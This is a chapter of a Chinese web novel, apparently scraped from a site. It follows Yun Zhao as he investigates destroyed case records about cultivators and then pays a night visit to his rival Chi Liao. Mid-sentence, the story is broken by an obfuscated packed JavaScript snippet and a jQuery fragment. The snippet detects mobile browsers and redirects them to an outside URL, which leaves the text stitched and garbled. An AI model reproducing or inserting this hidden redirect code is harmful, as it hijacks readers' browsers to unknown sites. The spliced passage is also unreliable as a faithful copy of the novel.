在小吏的一番回话下,云昭总算搞明白了。
这二十几年来,弘文馆没有一个学子选择到巡检司见习,云昭是第一个。皇城司是年年都有。
而上一次见习月,有一位宗室贵人选择了皇城司,也正是他,让巡检司把涉及到修行者的文书全部销毁。
云昭沉思着,糖葫芦也不啃了。
这个宗室贵人,也算是有来头。他的祖父,是皇上的叔父;他的父亲,是圣上的伴读,而他自己,也和太子走得很近。
他家的八卦也很有名,算是京都城独一份了。父亲还在,父子俩就分了家。圣上和太子都劝过几次,但两人还是硬梗着脖子分了家,士林对此多有不齿。
这样一来,梁王孙时而居于祖父府上,时而宿于父亲府上。甚至有京都好事者打赌,这梁王孙在谁家的床更舒服、吃得更好。
这出闹剧并没有损害梁王孙在圣上心中的地位。这位合正道,在弘文馆的成绩尤为突出,时常占据榜首,皇上十分欣赏,甚至带在身边教导,可以说是圣眷正隆。
本来还因为梁王父子失和而要落井下石之人都住了嘴。谁也说不清梁王一脉到底是失宠了还是没失宠。
于是乎,众人对待梁王孙合正道还是和以前一样,供着捧着。他一声令下,巡检司哪敢不听话。
所以,关于五行修行者伤害普通人案件的文书、记录,也就没有了。
“合正道啊合正道,这是巧合?还是你有意而为之?”云昭望着桌上那堆全是灰尘的文书喃喃自语着。
小吏们找遍所有文书记录,也就找到了百年之前的,而且还多有遗失。
百年之前的一件案子,也就是寥寥数笔,一张纸也就记完了,根本看不出什么东西。
自己的父亲在成为金丞相之后,与外祖父木丞相,以及水丞相一起向皇帝进言,要求各部各衙门详细记录自己的日常之事,一定要有头有尾,绝不可以糊弄。
这样一来,整个巡检司的工作量大大增加。每次发生与修行者有关的案件时,仵作、差役、文书都得到位,各自写下纪录,然后几方签字画押,绝对不能像之前那样草草了事。
“我记得之前,就十几年时间,这几个书架子全是这方面的文书记录。当时皇城司的人来提走,装了好几车。”
云昭用手指拈起一抹灰尘,随后吹开。他搓了搓手指,表情玩味。
“行了!多谢各位!云昭今晚在望春楼定了几桌酒席,还请各位赏脸。“
“这可使不得!云少爷,这是份内之事。”
“云少爷如此客气,我等受之有愧。”
“两位先生,不必过谦。我来巡检司数日,诸位对云昭照顾有加,大家一起吃顿便饭罢了。”
“那就多谢云少爷……”
夜慢慢深了,京都城大部分地方已经归于沉寂。这一日是雨天,虽说雨已经停了,但云还是厚的,月亮和星子都没有踪迹。
“多谢云少爷,真是托了您的福,小的们第一次吃到这番美味。”这是差役之首说的。
“就是就是,云少爷果然是大好人,平易近人的大好人。”几个文书大着舌头,东倒西歪的,还挣扎着想给云昭作揖。
……
“客气了。我来巡检司见习,多得各位相助,感激不尽。一顿饭罢了,各位不要放在心上。”
“好好好!云少爷以后只要有用得着我们的地方,尽管开口!”
……
这一顿饭没白吃,云昭得到了自己想要的讯息,非常满意。
柯世兰和小吏告诉他:巡检司转移到皇城司的案子,一般都不会有人直接去办。而是先在皇城司挂上一段时日,看有没有人来花钱消灾。有的话,那就大事化了小事化无。没的话那就秉公执法。
正是因为如此,皇城司上到皇城使,下到仆役,腰间都是鼓鼓的,毕竟五行修行者,大多都是有钱人。
小吏们也告诉明朝:皇城司这些年钱收多了,也就懈怠了。证物房、藏书阁、文书阁一般没人值守。就算是有,也不过是做做样子,一有什么事,全都跑开了。
云昭望了望天色。嗯,虽说云层厚实,但不是很冷,正是摸黑干事的好时候。
而他也得到了消息,他的好同窗赤燎正在皇城司见习。
啧啧啧!你说这就是来得早不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838916|175708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如来得巧嘛,一瞌睡就有人送枕头了。
云昭一上马,一勒马匹,骏马就“哒哒哒”地向前小跑,在安静的夜里显得格外明显。
而在皇城司的赤燎自然也是听见了。
“哪个王八蛋,这么晚了居然还敢在京都城内骑马,要是让小爷我见着他,我就……”
赤燎一边烦躁地走出大门,一边说着。
但下一秒,他就愣住了。
“许久不见,灯笼头,这几日可好?”一袭白衣的云昭坐在骏马上,神采飞扬。他右脚一跨,轻松下马,还晃了晃扇子,好一副意气风发的少年样。
“你来这里做什么?找事吗?”赤燎鼻孔要喷火。
“自然是来看看你的呀。”
“滚蛋!你有这么好心才怪!”
“唉,赤大少爷,我真的是好心来看你的,你这话说的,真让人伤心。咱都几日没见了?古话说得好,一日不见如隔三秋。”
“滚!”赤燎鸡皮疙瘩都起来了,一甩袖子,鼻孔喷气,伸出手就要揪住云昭的衣领。
“哎哎哎!少爷您歇歇气!这可使不得!”一旁的几个小厮赶紧拦住他,瞬间吃了赤燎好几拳。
而皇城司的小官吏和仆役们早就闻声奔了出来。见着两位大少爷几乎是扭打在一起,衣领都扯歪了。
终于有人发话了。
“云少爷深夜而来,不知所为何事?”皇城司副使拱手问道。
“蒙大人,多有打扰了。”云昭立刻回礼,笑了笑,“我只是来看看赤燎,怪想他的。”
“你这混蛋!就没安什么好心!看我?我有什么好看的!”赤燎越发的气急败坏,恨不得上前踹他几脚。
几个小厮虚虚拦着他,想抱住赤燎的腰但又不敢,一下子又挨了好几拳。
而云昭哗的一声打开扇子,轻轻扇了扇,委屈到:“大人,您也瞧见了。我这同窗是不领情啊。唉……”
李大人苦笑着:“云少爷,你可莫火上浇油了。”
云昭用扇子虚虚挡住脸,趁机看向众人后头的房子。远处的屋顶上,似乎有一个黑影。
他满意地点了点头。